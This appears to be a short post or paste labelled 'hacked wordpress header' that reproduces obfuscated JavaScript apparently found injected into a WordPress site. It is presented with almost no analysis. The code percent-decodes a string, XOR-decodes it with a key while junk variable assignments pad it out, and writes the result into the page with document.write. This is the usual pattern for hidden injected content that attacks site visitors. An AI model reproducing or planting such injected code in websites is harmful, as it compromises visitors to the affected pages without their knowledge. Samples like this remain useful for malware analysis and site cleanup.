hacked wordpress header

java exploit.js

var qTbPndRDkwJlutcricKxUxEtI = '';
nfSlyjfZ = 'AsjuH';
var lYjMVPyBNRjWFrj = 'elPQGexZleNfOzzJAaMkkzlTqyRybfPKNhztREiXZXUKmvXG';
JlrmrXCfprpeygyuxRDrVtG = 'ptaWQnnPGeEyikhb';
var bRtTmUNExebnOgU = 0;
ZeUEyxvnsz = 'lJJLhKl';
var trpZvTo = '%50%39%37%35%04%15%3F%4C%16%3C%05%72%58%12%3E%35%11%77%44%44%14%09%26%5C%18%3E%15%07%14%7E%28%21%05%55%1D%3C%6B%0A%3F%33%67%31%2E%0B%17%2D%2B%11%4E%70%37%35%04%15%3F%0E%0A%3C%02%2A%08%47%68%71%43%6D%18%08%08%03%38%1D%10%3C%1E%5F%44%3E%24%6C%48%12%11%3B%22%01%2C%67%7A%64%69%4D%01%31%23%11%04%6D%73%76%47%58%32%1F%15%2F%05%2A%47%58%7B%63%41%3B%18%1B%1B%0F%31%4C%5B%63%5B%42%0B%31%39%29%01%14%03%3B%21%1D%30%67%7A%65%69%4D%1B%39%35%02%05%3E%39%22%0C%1F%32%18%58%6C%56%6D%44%46%65%28%07%3F%0A%06%1F%52';
rKaiufozUtGqm = 'nxPLuYyllyPDEaUxwqdgjA';
var XpShCCqY = trpZvTo.length / 3;
olVZDdvX = 'wKkirrrGELpwxommU';
trpZvTo = unescape(trpZvTo);
NboYhTCVCsOdoCxVY = 'adkJKupWDyawxKdOAhuAp';
for (qwGBpyCXhymWTcx = 0; qwGBpyCXhymWTcx < XpShCCqY; qwGBpyCXhymWTcx++) {
    bRtTmUNExebnOgU++;
    if (lYjMVPyBNRjWFrj.length <= bRtTmUNExebnOgU) bRtTmUNExebnOgU = 0;
    NeaUOYm = trpZvTo.charCodeAt(qwGBpyCXhymWTcx);
    CNaiQZypYuZY = 'HOxWBcEYDAd';
    if (lYjMVPyBNRjWFrj.charCodeAt(bRtTmUNExebnOgU) != NeaUOYm) NeaUOYm ^= lYjMVPyBNRjWFrj.charCodeAt(bRtTmUNExebnOgU);
    wXZmQJMcXzmFYsG = 'vjKCobpXTMACmaYP';
    qTbPndRDkwJlutcricKxUxEtI += String.fromCharCode(NeaUOYm);
}
UHUIuKjSIUSLHhmHxsNmuvlLS = 'eSDScOVMJLmHqsKjxlgnBmh';
document.write(qTbPndRDkwJlutcricKxUxEtI);
DcpztRuFfdPoCfYLgQDH = 'gVGNXjQtrLqpMsXlDGFu';